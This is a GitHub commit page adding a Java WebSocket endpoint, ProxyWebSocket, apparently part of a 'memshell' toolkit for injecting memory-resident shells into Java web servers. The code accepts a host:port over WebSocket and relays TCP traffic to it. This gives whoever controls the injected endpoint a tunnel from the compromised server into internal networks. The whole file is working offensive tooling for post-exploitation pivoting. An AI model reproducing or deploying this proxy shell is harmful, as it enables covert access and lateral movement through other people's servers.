Skip to content

Commit 0d773ef

Browse files
committed
feat: add proxy ws
1 parent 74dd440 commit 0d773ef

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
package com.reajason.javaweb.memshell.shelltool.wsproxy;
2+
3+
import javax.websocket.Endpoint;
4+
import javax.websocket.EndpointConfig;
5+
import javax.websocket.MessageHandler;
6+
import javax.websocket.Session;
7+
import java.io.ByteArrayOutputStream;
8+
import java.net.InetSocketAddress;
9+
import java.nio.ByteBuffer;
10+
import java.nio.channels.AsynchronousSocketChannel;
11+
import java.nio.channels.CompletionHandler;
12+
import java.util.HashMap;
13+
import java.util.concurrent.Future;
14+
import java.util.concurrent.TimeUnit;
15+
16+
/**
17+
* @author ReaJason
18+
* @since 2026/1/14
19+
*/
20+
public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
21+
private Session session;
22+
private long messageCount = 0;
23+
private AsynchronousSocketChannel currentClient = null;
24+
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
25+
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
26+
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
27+
28+
public ProxyWebSocket() {
29+
}
30+
31+
public void completed(Integer result, Session attachment) {
32+
buffer.clear();
33+
try {
34+
if (buffer.hasRemaining() && result >= 0) {
35+
byte[] arr = new byte[result];
36+
buffer.get(arr, 0, result);
37+
baos.write(arr, 0, result);
38+
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
39+
if (attachment.isOpen()) {
40+
attachment.getBasicRemote().sendBinary(response);
41+
}
42+
baos = new ByteArrayOutputStream();
43+
readFromServer(attachment, currentClient);
44+
} else {
45+
if (result > 0) {
46+
byte[] arr = new byte[result];
47+
buffer.get(arr, 0, result);
48+
baos.write(arr, 0, result);
49+
readFromServer(attachment, currentClient);
50+
}
51+
}
52+
} catch (Exception ignored) {
53+
}
54+
}
55+
56+
@Override
57+
public void failed(Throwable exc, Session attachment) {
58+
exc.printStackTrace();
59+
}
60+
61+
public void onMessage(ByteBuffer message) {
62+
try {
63+
message.clear();
64+
messageCount++;
65+
process(message, session);
66+
} catch (Exception ignored) {
67+
}
68+
}
69+
70+
public void onOpen(Session session, EndpointConfig endpointConfig) {
71+
this.messageCount = 0;
72+
this.session = session;
73+
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
74+
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
75+
session.addMessageHandler(this);
76+
}
77+
78+
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
79+
this.currentClient = client;
80+
buffer.clear();
81+
client.read(buffer, channel, this);
82+
}
83+
84+
private void process(ByteBuffer messageBuffer, Session channel) {
85+
try {
86+
if (messageCount > 1) {
87+
AsynchronousSocketChannel client = channelMap.get(channel.getId());
88+
client.write(messageBuffer).get();
89+
readFromServer(channel, client);
90+
} else if (messageCount == 1) {
91+
String values = new String(messageBuffer.array());
92+
String[] array = values.split(" ");
93+
String[] addrArray = array[1].split(":");
94+
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
95+
int port = Integer.parseInt(addrArray[1]);
96+
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
97+
Future<Void> future = client.connect(hostAddress);
98+
try {
99+
future.get(10, TimeUnit.SECONDS);
100+
} catch (Exception ignored) {
101+
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
102+
return;
103+
}
104+
channelMap.put(channel.getId(), client);
105+
readFromServer(channel, client);
106+
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
107+
}
108+
} catch (Exception ignored) {
109+
}
110+
}
111+
}

0 commit comments

Comments
 (0)